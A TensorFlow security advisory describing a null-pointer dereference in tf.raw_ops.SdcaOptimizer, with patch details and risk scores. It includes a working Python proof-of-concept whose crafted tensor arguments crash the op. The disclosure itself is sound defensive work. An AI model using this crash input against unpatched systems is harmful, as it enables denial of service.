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GHSA-5gqf-456p-4836

LowCVSS 2.5 / 10
Published May 21, 2021·Last modified Mar 13, 2026
Affected Components(0)

No affected components available

Description

Impact

The implementation of tf.raw_ops.SdcaOptimizer triggers undefined behavior due to dereferencing a null pointer:

import tensorflow as tf

sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_values = []

dense_features = []
dense_weights = []

example_weights = tf.constant((0.0), dtype=tf.float32)
example_labels = tf.constant((0.0), dtype=tf.float32)

sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]
  
example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)
  
tf.raw_ops.SdcaOptimizer(
  sparse_example_indices=sparse_example_indices,
  sparse_feature_indices=sparse_feature_indices,
  sparse_feature_values=sparse_feature_values, dense_features=dense_features,
  example_weights=example_weights, example_labels=example_labels, 
  sparse_indices=sparse_indices, sparse_weights=sparse_weights, 
  dense_weights=dense_weights, example_state_data=example_state_data,
  loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,
  num_inner_iterations=1, adaptative=False)

The implementation does not validate that the user supplied arguments satisfy all constraints expected by the op.

Patches

We have patched the issue in GitHub commit f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Risk Scores
Base Score
2.5

The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.

Threat Intelligence
2.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.19%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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